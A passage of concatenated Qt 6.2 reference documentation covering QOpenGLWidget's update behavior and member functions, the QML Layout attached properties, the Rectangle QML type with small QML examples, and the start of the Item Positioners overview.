  **Note:** Displaying a QOpenGLWidget requires an alpha channel in the associated top-level window's backing store due to the way composition with other [QWidget](qwidget)-based content works. If there is no alpha channel, the content rendered by the QOpenGLWidget will not be visible. This can become particularly relevant on Linux/X11 in remote display setups (such as, with Xvnc), when using a color depth lower than 24. For example, a color depth of 16 will typically map to using a backing store image with the format [QImage::Format\_RGB16](qimage#Format-enum) (RGB565), leaving no room for an alpha channel. Therefore, if experiencing problems with getting the contents of a QOpenGLWidget composited correctly with other the widgets in the window, make sure the server (such as, vncserver) is configured with a 24 or 32 bit depth instead of 16.

  ### Alternatives

 Adding a QOpenGLWidget into a window turns on OpenGL-based compositing for the entire window. In some special cases this may not be ideal, and the old QGLWidget-style behavior with a separate, native child window is desired. Desktop applications that understand the limitations of this approach (for example when it comes to overlaps, transparency, scroll views and MDI areas), can use [QOpenGLWindow](qopenglwindow) with [QWidget::createWindowContainer](qwidget#createWindowContainer)(). This is a modern alternative to QGLWidget and is faster than QOpenGLWidget due to the lack of the additional composition step. It is strongly recommended to limit the usage of this approach to cases where there is no other choice. Note that this option is not suitable for most embedded and mobile platforms, and it is known to have issues on certain desktop platforms (e.g. macOS) too. The stable, cross-platform solution is always QOpenGLWidget.

 *OpenGL is a trademark of Silicon Graphics, Inc. in the United States and other countries.*

 **See also** [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html), [QOpenGLWindow](qopenglwindow), [Qt::AA\_ShareOpenGLContexts](qt#ApplicationAttribute-enum), and [UpdateBehavior](qopenglwidget#UpdateBehavior-enum).

 Member Type Documentation
-------------------------

 ### 
`[since 5.5]` enum QOpenGLWidget::UpdateBehavior

 This enum describes the update semantics of [QOpenGLWidget](qopenglwidget).

 

| Constant | Value | Description |
| --- | --- | --- |
| `QOpenGLWidget::NoPartialUpdate` | `0` | [QOpenGLWidget](qopenglwidget) will discard the contents of the color buffer and the ancillary buffers after the [QOpenGLWidget](qopenglwidget) is rendered to screen. This is the same behavior that can be expected by calling [QOpenGLContext::swapBuffers](qopenglcontext#swapBuffers) with a default opengl enabled [QWindow](qwindow) as the argument. NoPartialUpdate can have some performance benefits on certain hardware architectures common in the mobile and embedded space when a framebuffer object is used as the rendering target. The framebuffer object is invalidated between frames with glDiscardFramebufferEXT if supported or a glClear. Please see the documentation of EXT\_discard\_framebuffer for more information: https://www.khronos.org/registry/gles/extensions/EXT/EXT\_discard\_framebuffer.txt |
| `QOpenGLWidget::PartialUpdate` | `1` | The framebuffer objects color buffer and ancillary buffers are not invalidated between frames. |

 This enum was introduced or modified in Qt 5.5.

 **See also** [updateBehavior](qopenglwidget#updateBehavior)() and [setUpdateBehavior](qopenglwidget#setUpdateBehavior)().

 Member Function Documentation
-----------------------------

 ### QOpenGLWidget::QOpenGLWidget([QWidget](qwidget#QWidget) \**parent* = nullptr, [Qt::WindowFlags](qt#WindowType-enum) *f* = Qt::WindowFlags())

 Constructs a widget which is a child of *parent*, with widget flags set to *f*.

 ### 
`[signal]` void QOpenGLWidget::aboutToCompose()

 This signal is emitted when the widget's top-level window is about to begin composing the textures of its [QOpenGLWidget](qopenglwidget) children and the other widgets.

 ### 
`[signal]` void QOpenGLWidget::aboutToResize()

 This signal is emitted when the widget's size is changed and therefore the framebuffer object is going to be recreated.

 ### 
`[signal]` void QOpenGLWidget::frameSwapped()

 This signal is emitted after the widget's top-level window has finished composition and returned from its potentially blocking [QOpenGLContext::swapBuffers](qopenglcontext#swapBuffers)() call.

 ### 
`[signal]` void QOpenGLWidget::resized()

 This signal is emitted right after the framebuffer object has been recreated due to resizing the widget.

 ### 
`[virtual]` QOpenGLWidget::~QOpenGLWidget()

 Destroys the [QOpenGLWidget](qopenglwidget) instance, freeing its resources.

 The [QOpenGLWidget](qopenglwidget)'s context is made current in the destructor, allowing for safe destruction of any child object that may need to release OpenGL resources belonging to the context provided by this widget.

  **Warning:** if you have objects wrapping OpenGL resources (such as [QOpenGLBuffer](qopenglbuffer), [QOpenGLShaderProgram](qopenglshaderprogram), etc.) as members of a OpenGLWidget subclass, you may need to add a call to [makeCurrent](qopenglwidget#makeCurrent)() in that subclass' destructor as well. Due to the rules of C++ object destruction, those objects will be destroyed *before* calling this function (but after that the destructor of the subclass has run), therefore making the OpenGL context current in this function happens too late for their safe disposal.

  **See also** [makeCurrent](qopenglwidget#makeCurrent).

 ### 
[QOpenGLContext](qopenglcontext) \*QOpenGLWidget::context() const

 Returns The [QOpenGLContext](qopenglcontext) used by this widget or `0` if not yet initialized.

  **Note:** The context and the framebuffer object used by the widget changes when reparenting the widget via [setParent](qwidget#setParent)().

  **See also** [QOpenGLContext::setShareContext](qopenglcontext#setShareContext)() and [defaultFramebufferObject](qopenglwidget#defaultFramebufferObject)().

 ### 
GLuint QOpenGLWidget::defaultFramebufferObject() const

 Returns The framebuffer object handle or `0` if not yet initialized.

  **Note:** The framebuffer object belongs to the context returned by [context](qopenglwidget#context)() and may not be accessible from other contexts.

   **Note:** The context and the framebuffer object used by the widget changes when reparenting the widget via [setParent](qwidget#setParent)(). In addition, the framebuffer object changes on each resize.

  **See also** [context](qopenglwidget#context)().

 ### 
void QOpenGLWidget::doneCurrent()

 Releases the context.

 It is not necessary to call this function in most cases, since the widget will make sure the context is bound and released properly when invoking [paintGL](qopenglwidget#paintGL)().

 ### 
`[override virtual protected]` bool QOpenGLWidget::event([QEvent](qevent) \**e*)

 Reimplements: [QWidget::event](qwidget#event)(QEvent \*event).

 ### 
[QSurfaceFormat](qsurfaceformat) QOpenGLWidget::format() const

 Returns the context and surface format used by this widget and its toplevel window.

 After the widget and its toplevel have both been created, resized and shown, this function will return the actual format of the context. This may differ from the requested format if the request could not be fulfilled by the platform. It is also possible to get larger color buffer sizes than requested.

 When the widget's window and the related OpenGL resources are not yet initialized, the return value is the format that has been set via [setFormat](qopenglwidget#setFormat)().

 **See also** [setFormat](qopenglwidget#setFormat)() and [context](qopenglwidget#context)().

 ### 
[QImage](qimage) QOpenGLWidget::grabFramebuffer()

 Renders and returns a 32-bit RGB image of the framebuffer.

  **Note:** This is a potentially expensive operation because it relies on glReadPixels() to read back the pixels. This may be slow and can stall the GPU pipeline.

  ### 
`[virtual protected]` void QOpenGLWidget::initializeGL()

 This virtual function is called once before the first call to [paintGL](qopenglwidget#paintGL)() or [resizeGL](qopenglwidget#resizeGL)(). Reimplement it in a subclass.

 This function should set up any required OpenGL resources and state.

 There is no need to call [makeCurrent](qopenglwidget#makeCurrent)() because this has already been done when this function is called. Note however that the framebuffer is not yet available at this stage, so avoid issuing draw calls from here. Defer such calls to [paintGL](qopenglwidget#paintGL)() instead.

 **See also** [paintGL](qopenglwidget#paintGL)() and [resizeGL](qopenglwidget#resizeGL)().

 ### 
bool QOpenGLWidget::isValid() const

 Returns *true* if the widget and OpenGL resources, like the context, have been successfully initialized. Note that the return value is always false until the widget is shown.

 ### 
void QOpenGLWidget::makeCurrent()

 Prepares for rendering OpenGL content for this widget by making the corresponding context current and binding the framebuffer object in that context.

 It is not necessary to call this function in most cases, because it is called automatically before invoking [paintGL](qopenglwidget#paintGL)().

 **See also** [context](qopenglwidget#context)(), [paintGL](qopenglwidget#paintGL)(), and [doneCurrent](qopenglwidget#doneCurrent)().

 ### 
`[override virtual protected]` int QOpenGLWidget::metric([QPaintDevice::PaintDeviceMetric](qpaintdevice#PaintDeviceMetric-enum) *metric*) const

 Reimplements: [QWidget::metric(QPaintDevice::PaintDeviceMetric m) const](qwidget#metric).

 ### 
`[override virtual protected]` [QPaintEngine](qpaintengine) \*QOpenGLWidget::paintEngine() const

 Reimplements: [QWidget::paintEngine() const](qwidget#paintEngine).

 ### 
`[override virtual protected]` void QOpenGLWidget::paintEvent([QPaintEvent](qpaintevent) \**e*)

 Reimplements: [QWidget::paintEvent](qwidget#paintEvent)(QPaintEvent \*event).

 Handles paint events.

 Calling [QWidget::update](qwidget#update)() will lead to sending a paint event *e*, and thus invoking this function. (NB this is asynchronous and will happen at some point after returning from [update](qwidget#update)()). This function will then, after some preparation, call the virtual [paintGL](qopenglwidget#paintGL)() to update the contents of the [QOpenGLWidget](qopenglwidget)'s framebuffer. The widget's top-level window will then composite the framebuffer's texture with the rest of the window.

 ### 
`[virtual protected]` void QOpenGLWidget::paintGL()

 This virtual function is called whenever the widget needs to be painted. Reimplement it in a subclass.

 There is no need to call [makeCurrent](qopenglwidget#makeCurrent)() because this has already been done when this function is called.

 Before invoking this function, the context and the framebuffer are bound, and the viewport is set up by a call to glViewport(). No other state is set and no clearing or drawing is performed by the framework.

 **See also** [initializeGL](qopenglwidget#initializeGL)() and [resizeGL](qopenglwidget#resizeGL)().

 ### 
`[override virtual protected]` [QPaintDevice](qpaintdevice#QPaintDevice) \*QOpenGLWidget::redirected([QPoint](qpoint) \**p*) const

 ### 
`[override virtual protected]` void QOpenGLWidget::resizeEvent([QResizeEvent](qresizeevent) \**e*)

 Reimplements: [QWidget::resizeEvent](qwidget#resizeEvent)(QResizeEvent \*event).

 Handles resize events that are passed in the *e* event parameter. Calls the virtual function [resizeGL](qopenglwidget#resizeGL)().

  **Note:** Avoid overriding this function in derived classes. If that is not feasible, make sure that [QOpenGLWidget](qopenglwidget)'s implementation is invoked too. Otherwise the underlying framebuffer object and related resources will not get resized properly and will lead to incorrect rendering.

  ### 
`[virtual protected]` void QOpenGLWidget::resizeGL(int *w*, int *h*)

 This virtual function is called whenever the widget has been resized. Reimplement it in a subclass. The new size is passed in *w* and *h*.

 There is no need to call [makeCurrent](qopenglwidget#makeCurrent)() because this has already been done when this function is called. Additionally, the framebuffer is also bound.

 **See also** [initializeGL](qopenglwidget#initializeGL)() and [paintGL](qopenglwidget#paintGL)().

 ### 
void QOpenGLWidget::setFormat(const [QSurfaceFormat](qsurfaceformat) &*format*)

 Sets the requested surface *format*.

 When the format is not explicitly set via this function, the format returned by [QSurfaceFormat::defaultFormat](qsurfaceformat#defaultFormat)() will be used. This means that when having multiple OpenGL widgets, individual calls to this function can be replaced by one single call to [QSurfaceFormat::setDefaultFormat](qsurfaceformat#setDefaultFormat)() before creating the first widget.

  **Note:** Requesting an alpha buffer via this function will not lead to the desired results when the intention is to make other widgets beneath visible. Instead, use [Qt::WA\_AlwaysStackOnTop](qt#WidgetAttribute-enum) to enable semi-transparent [QOpenGLWidget](qopenglwidget) instances with other widgets visible underneath. Keep in mind however that this breaks the stacking order, so it will no longer be possible to have other widgets on top of the [QOpenGLWidget](qopenglwidget).

  **See also** [format](qopenglwidget#format)(), [Qt::WA\_AlwaysStackOnTop](qt#WidgetAttribute-enum), and [QSurfaceFormat::setDefaultFormat](qsurfaceformat#setDefaultFormat)().

 ### 
`[since 5.10]` void QOpenGLWidget::setTextureFormat(GLenum *texFormat*)

 Sets a custom internal texture format of *texFormat*.

 When working with sRGB framebuffers, it will be necessary to specify a format like `GL_SRGB8_ALPHA8`. This can be achieved by calling this function.

  **Note:** This function has no effect if called after the widget has already been shown and thus it performed initialization.

   **Note:** This function will typically have to be used in combination with a [QSurfaceFormat::setDefaultFormat](qsurfaceformat#setDefaultFormat)() call that sets the color space to [QSurfaceFormat::sRGBColorSpace](qsurfaceformat#ColorSpace-enum).

  This function was introduced in Qt 5.10.

 **See also** [textureFormat](qopenglwidget#textureFormat)().

 ### 
`[since 5.5]` void QOpenGLWidget::setUpdateBehavior([QOpenGLWidget::UpdateBehavior](qopenglwidget#UpdateBehavior-enum) *updateBehavior*)

 Sets this widget's update behavior to *updateBehavior*.

 This function was introduced in Qt 5.5.

 **See also** [updateBehavior](qopenglwidget#updateBehavior)().

 ### 
`[since 5.10]` GLenum QOpenGLWidget::textureFormat() const

 Returns the active internal texture format if the widget has already initialized, the requested format if one was set but the widget has not yet been made visible, or `nullptr` if [setTextureFormat](qopenglwidget#setTextureFormat)() was not called and the widget has not yet been made visible.

 This function was introduced in Qt 5.10.

 **See also** [setTextureFormat](qopenglwidget#setTextureFormat)().

 ### 
`[since 5.5]` [QOpenGLWidget::UpdateBehavior](qopenglwidget#UpdateBehavior-enum) QOpenGLWidget::updateBehavior() const

 Returns the update behavior of the widget.

 This function was introduced in Qt 5.5.

 **See also** [setUpdateBehavior](qopenglwidget#setUpdateBehavior)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qopenglwidget.html>

Layout QML Type
===============

 Provides attached properties for items pushed onto a [GridLayout](qml-qtquick-layouts-gridlayout), [RowLayout](qml-qtquick-layouts-rowlayout) or [ColumnLayout](qml-qtquick-layouts-columnlayout). [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Layouts |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-layouts-layout-members.html)

 Attached Properties
-------------------

 * **[alignment](qml-qtquick-layouts-layout#alignment-attached-prop)** : Qt.Alignment
* **[bottomMargin](qml-qtquick-layouts-layout#bottomMargin-attached-prop)** : real
* **[column](qml-qtquick-layouts-layout#column-attached-prop)** : int
* **[columnSpan](qml-qtquick-layouts-layout#columnSpan-attached-prop)** : int
* **[fillHeight](qml-qtquick-layouts-layout#fillHeight-attached-prop)** : bool
* **[fillWidth](qml-qtquick-layouts-layout#fillWidth-attached-prop)** : bool
* **[leftMargin](qml-qtquick-layouts-layout#leftMargin-attached-prop)** : real
* **[margins](qml-qtquick-layouts-layout#margins-attached-prop)** : real
* **[maximumHeight](qml-qtquick-layouts-layout#maximumHeight-attached-prop)** : real
* **[maximumWidth](qml-qtquick-layouts-layout#maximumWidth-attached-prop)** : real
* **[minimumHeight](qml-qtquick-layouts-layout#minimumHeight-attached-prop)** : real
* **[minimumWidth](qml-qtquick-layouts-layout#minimumWidth-attached-prop)** : real
* **[preferredHeight](qml-qtquick-layouts-layout#preferredHeight-attached-prop)** : real
* **[preferredWidth](qml-qtquick-layouts-layout#preferredWidth-attached-prop)** : real
* **[rightMargin](qml-qtquick-layouts-layout#rightMargin-attached-prop)** : real
* **[row](qml-qtquick-layouts-layout#row-attached-prop)** : int
* **[rowSpan](qml-qtquick-layouts-layout#rowSpan-attached-prop)** : int
* **[topMargin](qml-qtquick-layouts-layout#topMargin-attached-prop)** : real

 Detailed Description
--------------------

 An object of type Layout is attached to children of the layout to provide layout specific information about the item. The properties of the attached object influence how the layout will arrange the items.

 For instance, you can specify [minimumWidth](qml-qtquick-layouts-layout#minimumWidth-attached-prop), [preferredWidth](qml-qtquick-layouts-layout#preferredWidth-attached-prop), and [maximumWidth](qml-qtquick-layouts-layout#maximumWidth-attached-prop) if the default values are not satisfactory.

 When a layout is resized, items may grow or shrink. Due to this, items have a [minimum size](qml-qtquick-layouts-layout#minimumWidth-attached-prop), [preferred size](qml-qtquick-layouts-layout#preferredWidth-attached-prop) and a [maximum size](qml-qtquick-layouts-layout#maximumWidth-attached-prop).

 If minimum size has not been explicitly specified on an item, the size is set to `0`. If maximum size has not been explicitly specified on an item, the size is set to `Number.POSITIVE_INFINITY`.

 For layouts, the implicit minimum and maximum sizes depend on the content of the layouts.

 The [fillWidth](qml-qtquick-layouts-layout#fillWidth-attached-prop) and [fillHeight](qml-qtquick-layouts-layout#fillHeight-attached-prop) properties can either be `true` or `false`. If they are `false`, the item's size will be fixed to its preferred size. Otherwise, it will grow or shrink between its minimum and maximum size as the layout is resized.

  **Note:** Do not bind to the x, y, width, or height properties of items in a layout, as this would conflict with the goals of Layout, and can also cause binding loops. The width and height properties are used by the layout engine to store the current size of items as calculated from the minimum/preferred/maximum attached properties, and can be ovewritten each time the items are laid out. Use [Layout.preferredWidth](qml-qtquick-layouts-layout#preferredWidth-attached-prop) and [Layout.preferredHeight](qml-qtquick-layouts-layout#preferredHeight-attached-prop), or [implicitWidth](qml-qtquick-item#implicitWidth-prop) and [implicitHeight](qml-qtquick-item#implicitHeight-prop) to specify the preferred size of items.

  **See also** [GridLayout](qml-qtquick-layouts-gridlayout), [RowLayout](qml-qtquick-layouts-rowlayout), and [ColumnLayout](qml-qtquick-layouts-columnlayout).

 Attached Property Documentation
-------------------------------

 ###  Layout.alignment : [Qt](qml-qtqml-qt).Alignment

 This property allows you to specify the alignment of an item within the cell(s) it occupies.

 The default value is `0`, which means it will be `Qt.AlignVCenter | Qt.AlignLeft`. These defaults also apply if only a horizontal or vertical flag is specified: if only a horizontal flag is specified, the default vertical flag will be `Qt.AlignVCenter`, and if only a vertical flag is specified, the default horizontal flag will be `Qt.AlignLeft`.

 A valid alignment is a combination of the following flags:

 * [Qt::AlignLeft](qt#AlignmentFlag-enum)
* [Qt::AlignHCenter](qt#AlignmentFlag-enum)
* [Qt::AlignRight](qt#AlignmentFlag-enum)
* [Qt::AlignTop](qt#AlignmentFlag-enum)
* [Qt::AlignVCenter](qt#AlignmentFlag-enum)
* [Qt::AlignBottom](qt#AlignmentFlag-enum)
* [Qt::AlignBaseline](qt#AlignmentFlag-enum)

 ###  [since QtQuick.Layouts 1.2] Layout.bottomMargin : [real](qml-real)

 Specifies the bottom margin outside of an item. If the value is not set, it will use the value from [margins](qml-qtquick-layouts-layout#margins-attached-prop).

 This property was introduced in QtQuick.Layouts 1.2.

 **See also** [margins](qml-qtquick-layouts-layout#margins-attached-prop).

 ###  Layout.column : [int](qml-int)

 This property allows you to specify the column position of an item in a [GridLayout](qml-qtquick-layouts-gridlayout).

 If both [row](qml-qtquick-layouts-layout#row-attached-prop) and this property are not set, it is up to the layout to assign a cell to the item.

 The default value is `0`.

 **See also** [row](qml-qtquick-layouts-layout#row-attached-prop) and [columnSpan](qml-qtquick-layouts-layout#columnSpan-attached-prop).

 ###  Layout.columnSpan : [int](qml-int)

 This property allows you to specify the column span of an item in a [GridLayout](qml-qtquick-layouts-gridlayout).

 The default value is `1`.

 **See also** [rowSpan](qml-qtquick-layouts-layout#rowSpan-attached-prop) and [column](qml-qtquick-layouts-layout#column-attached-prop).

 ###  Layout.fillHeight : [bool](qml-bool)

 If this property is `true`, the item will be as tall as possible while respecting the given constraints. If the property is `false`, the item will have a fixed height set to the preferred height. The default is `false`, except for layouts themselves, which default to `true`.

 **See also** [fillWidth](qml-qtquick-layouts-layout#fillWidth-attached-prop).

 ###  Layout.fillWidth : [bool](qml-bool)

 If this property is `true`, the item will be as wide as possible while respecting the given constraints. If the property is `false`, the item will have a fixed width set to the preferred width. The default is `false`, except for layouts themselves, which default to `true`.

 **See also** [fillHeight](qml-qtquick-layouts-layout#fillHeight-attached-prop).

 ###  [since QtQuick.Layouts 1.2] Layout.leftMargin : [real](qml-real)

 Specifies the left margin outside of an item. If the value is not set, it will use the value from [margins](qml-qtquick-layouts-layout#margins-attached-prop).

 This property was introduced in QtQuick.Layouts 1.2.

 **See also** [margins](qml-qtquick-layouts-layout#margins-attached-prop).

 ###  [since QtQuick.Layouts 1.2] Layout.margins : [real](qml-real)

 Sets the margins outside of an item to all have the same value. The item itself does not evaluate its own margins. It is the parent's responsibility to decide if it wants to evaluate the margins.

 Specifically, margins are only evaluated by [ColumnLayout](qml-qtquick-layouts-columnlayout), [RowLayout](qml-qtquick-layouts-rowlayout), [GridLayout](qml-qtquick-layouts-gridlayout), and other layout-like containers, such as [SplitView](qml-qtquick-controls2-splitview), where the effective cell size of an item will be increased as the margins are increased.

 Therefore, if an item with margins is a child of another `Item`, its position, size and implicit size will remain unchanged.

 Combining margins with alignment will align the item *including* its margins. For instance, a vertically-centered Item with a top margin of `1` and a bottom margin of `9` will cause the Items effective alignment within the cell to be 4 pixels above the center.

 The default value is `0`.

 This property was introduced in QtQuick.Layouts 1.2.

 **See also** [leftMargin](qml-qtquick-layouts-layout#leftMargin-attached-prop), [topMargin](qml-qtquick-layouts-layout#topMargin-attached-prop), [rightMargin](qml-qtquick-layouts-layout#rightMargin-attached-prop), and [bottomMargin](qml-qtquick-layouts-layout#bottomMargin-attached-prop).

 ###  Layout.maximumHeight : [real](qml-real)

 The default value is the item's implicit maximum height.

 If the item is a layout, the implicit maximum height will be the maximum height the layout can have without any of its items growing beyond their maximum height. The implicit maximum height for any other item is `Number.POSITIVE_INFINITY`.

 Setting this value to `-1` will reset the height back to its implicit maximum height.

 **See also** [minimumHeight](qml-qtquick-layouts-layout#minimumHeight-attached-prop) and [preferredHeight](qml-qtquick-layouts-layout#preferredHeight-attached-prop).

 ###  Layout.maximumWidth : [real](qml-real)

 This property holds the maximum width of an item in a layout. The default value is the item's implicit maximum width.

 If the item is a layout, the implicit maximum width will be the maximum width the layout can have without any of its items growing beyond their maximum width. The implicit maximum width for any other item is `Number.POSITIVE_INFINITY`.

 Setting this value to `-1` will reset the width back to its implicit maximum width.

 **See also** [minimumWidth](qml-qtquick-layouts-layout#minimumWidth-attached-prop) and [preferredWidth](qml-qtquick-layouts-layout#preferredWidth-attached-prop).

 ###  Layout.minimumHeight : [real](qml-real)

 This property holds the minimum height of an item in a layout. The default value is the item's implicit minimum height.

 If the item is a layout, the implicit minimum height will be the minimum height the layout can have without any of its items shrinking below their minimum height. The implicit minimum height for any other item is `0`.

 Setting this value to -1 will reset the height back to its implicit minimum height.

 **See also** [preferredHeight](qml-qtquick-layouts-layout#preferredHeight-attached-prop) and [maximumHeight](qml-qtquick-layouts-layout#maximumHeight-attached-prop).

 ###  Layout.minimumWidth : [real](qml-real)

 This property holds the minimum width of an item in a layout. The default value is the item's implicit minimum width.

 If the item is a layout, the implicit minimum width will be the minimum width the layout can have without any of its items shrinking below their minimum width. The implicit minimum width for any other item is `0`.

 Setting this value to -1 will reset the width back to its implicit minimum width.

 **See also** [preferredWidth](qml-qtquick-layouts-layout#preferredWidth-attached-prop) and [maximumWidth](qml-qtquick-layouts-layout#maximumWidth-attached-prop).

 ###  Layout.preferredHeight : [real](qml-real)

 This property holds the preferred height of an item in a layout. If the preferred height is `-1` it will be ignored, and the layout will use [implicitHeight](qml-qtquick-item#implicitHeight-prop) instead. The default is `-1`.

 **See also** [minimumHeight](qml-qtquick-layouts-layout#minimumHeight-attached-prop) and [maximumHeight](qml-qtquick-layouts-layout#maximumHeight-attached-prop).

 ###  Layout.preferredWidth : [real](qml-real)

 This property holds the preferred width of an item in a layout. If the preferred width is `-1` it will be ignored, and the layout will use [implicitWidth](qml-qtquick-item#implicitWidth-prop) instead. The default is `-1`.

 **See also** [minimumWidth](qml-qtquick-layouts-layout#minimumWidth-attached-prop) and [maximumWidth](qml-qtquick-layouts-layout#maximumWidth-attached-prop).

 ###  [since QtQuick.Layouts 1.2] Layout.rightMargin : [real](qml-real)

 Specifies the right margin outside of an item. If the value is not set, it will use the value from [margins](qml-qtquick-layouts-layout#margins-attached-prop).

 This property was introduced in QtQuick.Layouts 1.2.

 **See also** [margins](qml-qtquick-layouts-layout#margins-attached-prop).

 ###  Layout.row : [int](qml-int)

 This property allows you to specify the row position of an item in a [GridLayout](qml-qtquick-layouts-gridlayout).

 If both [column](qml-qtquick-layouts-layout#column-attached-prop) and this property are not set, it is up to the layout to assign a cell to the item.

 The default value is `0`.

 **See also** [column](qml-qtquick-layouts-layout#column-attached-prop) and [rowSpan](qml-qtquick-layouts-layout#rowSpan-attached-prop).

 ###  Layout.rowSpan : [int](qml-int)

 This property allows you to specify the row span of an item in a [GridLayout](qml-qtquick-layouts-gridlayout).

 The default value is `1`.

 **See also** [columnSpan](qml-qtquick-layouts-layout#columnSpan-attached-prop) and [row](qml-qtquick-layouts-layout#row-attached-prop).

 ###  [since QtQuick.Layouts 1.2] Layout.topMargin : [real](qml-real)

 Specifies the top margin outside of an item. If the value is not set, it will use the value from [margins](qml-qtquick-layouts-layout#margins-attached-prop).

 This property was introduced in QtQuick.Layouts 1.2.

 **See also** [margins](qml-qtquick-layouts-layout#margins-attached-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-layouts-layout.html>

Rectangle QML Type
==================

 Paints a filled rectangle with an optional border. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-rectangle-members.html)

 Properties
----------

 * **[antialiasing](qml-qtquick-rectangle#antialiasing-prop)** : bool
* **[border](qml-qtquick-rectangle#border-prop)**
	+ **[border.color](qml-qtquick-rectangle#border.color-prop)** : color
	+ **[border.width](qml-qtquick-rectangle#border.width-prop)** : int
* **[color](qml-qtquick-rectangle#color-prop)** : color
* **[gradient](qml-qtquick-rectangle#gradient-prop)** : any
* **[radius](qml-qtquick-rectangle#radius-prop)** : real

 Detailed Description
--------------------

 Rectangle items are used to fill areas with solid color or gradients, and/or to provide a rectangular border.

 Appearance
----------

 Each Rectangle item is painted using either a solid fill color, specified using the [color](qml-qtquick-rectangle#color-prop) property, or a gradient, defined using a Gradient type and set using the [gradient](qml-qtquick-rectangle#gradient-prop) property. If both a color and a gradient are specified, the gradient is used.

 You can add an optional border to a rectangle with its own color and thickness by setting the [border.color](qml-qtquick-rectangle#border.color-prop) and [border.width](qml-qtquick-rectangle#border.width-prop) properties. Set the color to "transparent" to paint a border without a fill color.

 You can also create rounded rectangles using the [radius](qml-qtquick-rectangle#radius-prop) property. Since this introduces curved edges to the corners of a rectangle, it may be appropriate to set the [Item::antialiasing](qml-qtquick-item#antialiasing-prop) property to improve its appearance.

 Example Usage
-------------

 
![]

 
The following example shows the effects of some of the common properties on a Rectangle item, which in this case is used to create a square:

 
```
import QtQuick 2.0

Rectangle {
    width: 100
    height: 100
    color: "red"
    border.color: "black"
    border.width: 5
    radius: 10
}
```
 Performance
-----------

 Using the [Item::antialiasing](qml-qtquick-item#antialiasing-prop) property improves the appearance of a rounded rectangle at the cost of rendering performance. You should consider unsetting this property for rectangles in motion, and only set it when they are stationary.

 **See also** [Image](qml-qtquick-image).

 Property Documentation
----------------------

 ###  antialiasing : [bool](qml-bool)

 Used to decide if the Rectangle should use antialiasing or not. [Antialiasing](qtquick-visualcanvas-scenegraph-renderer#antialiasing) provides information on the performance implications of this property.

 The default is true for Rectangles with a radius, and false otherwise.

 ###  border.color : [color](qml-color)

 The width and color used to draw the border of the rectangle.

 A width of 1 creates a thin line. For no line, use a width of 0 or a transparent color.

  **Note:** The width of the rectangle's border does not affect the geometry of the rectangle itself or its position relative to other items if anchors are used.

  The border is rendered within the rectangle's boundaries.

 ###  color : [color](qml-color)

 This property holds the color used to fill the rectangle.

 The default color is white.

 
![]

 
The following example shows rectangles with colors specified using hexadecimal and named color notation:

 
```
Rectangle {
    color: "#00B000"
    width: 80; height: 80
}

Rectangle {
    color: "steelblue"
    y: 100; width: 80; height: 80
}
```
 If both a gradient and a color are specified, the gradient will be used.

 **See also** [gradient](qml-qtquick-rectangle#gradient-prop).

 ###  gradient : any

 The gradient to use to fill the rectangle.

 This property allows for the construction of simple vertical or horizontal gradients. Other gradients may be formed by adding rotation to the rectangle.

 
![]

 

```
Rectangle {
    y: 0; width: 80; height: 80
    color: "lightsteelblue"
}

Rectangle {
    y: 100; width: 80; height: 80
    gradient: Gradient {
        GradientStop { position: 0.0; color: "lightsteelblue" }
        GradientStop { position: 1.0; color: "blue" }
    }
}

Rectangle {
    y: 200; width: 80; height: 80
    rotation: 90
    gradient: Gradient {
        GradientStop { position: 0.0; color: "lightsteelblue" }
        GradientStop { position: 1.0; color: "blue" }
    }
}
```
 The property also accepts gradient presets from [QGradient::Preset](qgradient#Preset-enum). Note however that due to Rectangle only supporting simple vertical or horizontal gradients, any preset with an unsupported angle will revert to the closest representation.

 
```
Rectangle {
    y: 0; width: 80; height: 80
    gradient: Gradient.NightFade
}

Rectangle {
    y: 0; width: 80; height: 80
    gradient: "NightFade"
}
```
 If both a gradient and a color are specified, the gradient will be used.

 **See also** [Gradient](qml-qtquick-gradient) and [color](qml-qtquick-rectangle#color-prop).

 ###  radius : [real](qml-real)

 This property holds the corner radius used to draw a rounded rectangle.

 If radius is non-zero, the rectangle will be painted as a rounded rectangle, otherwise it will be painted as a normal rectangle. The same radius is used by all 4 corners; there is currently no way to specify different radii for different corners.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-rectangle.html>

Item Positioners
================

 Positioner items are container items that manage the positions of items in a declarative user interface. Positioners behave in a similar way to the [layout managers](qtwidgets-index) used with standard Qt widgets, except that they are also containers in their own right.

 Positioners make it easier to work with many items when they need to be arranged in a regular layout.

 [Qt Quick Layouts](qtquicklayouts-index) can also be used to arrange Qt Quick items in a user interface. They manage both the positions and the sizes of items on a declarative user interface, and are well suited for resizable user interfaces.

 Positioners
-----------

 A set of standard positioners are provided in the basic set of Qt Quick graphical types:

 

|  |  |
| --- | --- |
| [Column](qml-qtquick-column) | Positions its children in a column |
| [Flow](qml-qtquick-flow) | Positions its children side by side, wrapping as necessary |
| [Grid](qml-qtquick-grid) | Positions its children in grid formation |
| [LayoutMirroring](qml-qtquick-layoutmirroring) | Property used to mirror layout behavior |
| [Positioner](qml-qtquick-positioner) | Provides attached properties that contain details on where an item exists in a positioner |
| [Row](qml-qtquick-row) | Positions its children in a row |

 ### Column Items

 
![]

 
[Column](qml-qtquick-column) items are used to vertically arrange items. The following example uses a Column item to arrange three [Rectangle](qml-qtquick-rectangle) items in an area defined by an outer [Item](qml-qtquick-item). The [spacing](qml-qtquick-column#spacing-prop) property is set to include a small amount of space between the rectangles.

 
```
import QtQuick 2.0

Item {
    width: 310; height: 170

    Column {
        anchors.horizontalCenter: parent.horizontalCenter
        anchors.verticalCenter: parent.verticalCenter

        spacing: 5

        Rectangle { color: "lightblue"; radius: 10.0
                    width: 300; height: 50
                    Text { anchors.centerIn: parent
                           font.pointSize: 24; text: "Books" } }
        Rectangle { color: "gold"; radius: 10.0
